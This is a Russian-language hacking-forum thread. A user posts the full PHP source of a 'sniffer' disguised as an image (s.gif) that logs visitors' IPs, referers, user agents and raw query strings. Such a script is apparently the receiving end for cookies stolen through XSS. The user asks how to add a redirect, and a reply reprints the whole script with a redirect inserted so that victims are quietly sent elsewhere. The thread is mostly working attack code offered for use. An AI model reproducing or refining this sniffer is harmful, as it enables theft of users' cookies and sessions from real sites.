Сообщение от
Alloc
Что-то не получается у меня... Я вставил в скрипт js.js редирект - document.location.replace('http://www.google.com');... но он не всегда срабатывает... не знаю почему...
Пробовал добавлять следующую строку в снифер (s.gif... в конец скрипта...)... но все равно не получается...
PHP код:
$url='http://ya.ru';
header("Location: $url");
Я PHP не понимаю... Подскажите пожалуйста, уважаемые форумчане как именно осуществить Редирект в PHP... Вот сам скрипт снифера:
PHP код:
<?
define("FILE", "s.gif");
require "config.php";
require "functions.php";
cleaner();
$sniffed['date'] = date("d.m.Y H:i");
$sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
$sniffed['referer'] = htmlspecialchars(stripslashes($_SERVER['HTTP_REFERER']));
$sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
$sniffed['agent'] = htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
$sniffed['real_ip'] = htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']);
if (!preg_match("/^https?:\/\//i", $sniffed['referer'])) $sniffed['referer'] = "";
$data = array();
$data_content = get_file_content($data_filename);
if ($data_content !== NULL) $data = unserialize($data_content);
$entrie = serialize($sniffed);
$data[] = $entrie;
$data_content = serialize($data);
put_file_content($data_filename, $data_content);
show_image();
?>
Буду очень благодарен за помощь!
Заранее спасибо!
эту строку не надо в конец ставить а нaдо сюда ставить если помог ставь+
смотри весь код
обазначил спецально красным
<?
define("FILE", "s.gif");
require "config.php";
require "functions.php";
cleaner();
$sniffed['date'] = date("d.m.Y H:i");
$sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
$sniffed['referer'] = htmlspecialchars(stripslashes($_SERVER['HTTP_REFERER']));
$sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
$sniffed['agent'] = htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
$sniffed['real_ip'] = htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']);
$url='http://xaker.ru';header("Location: $url");
if (!preg_match("/^https?:\/\//i", $sniffed['referer'])) $sniffed['referer'] = "";
$data = array();
$data_content = get_file_content($data_filename);
if ($data_content !== NULL) $data = unserialize($data_content);
$entrie = serialize($sniffed);
$data[] = $entrie;
$data_content = serialize($data);
put_file_content($data_filename, $data_content);
show_image();
?>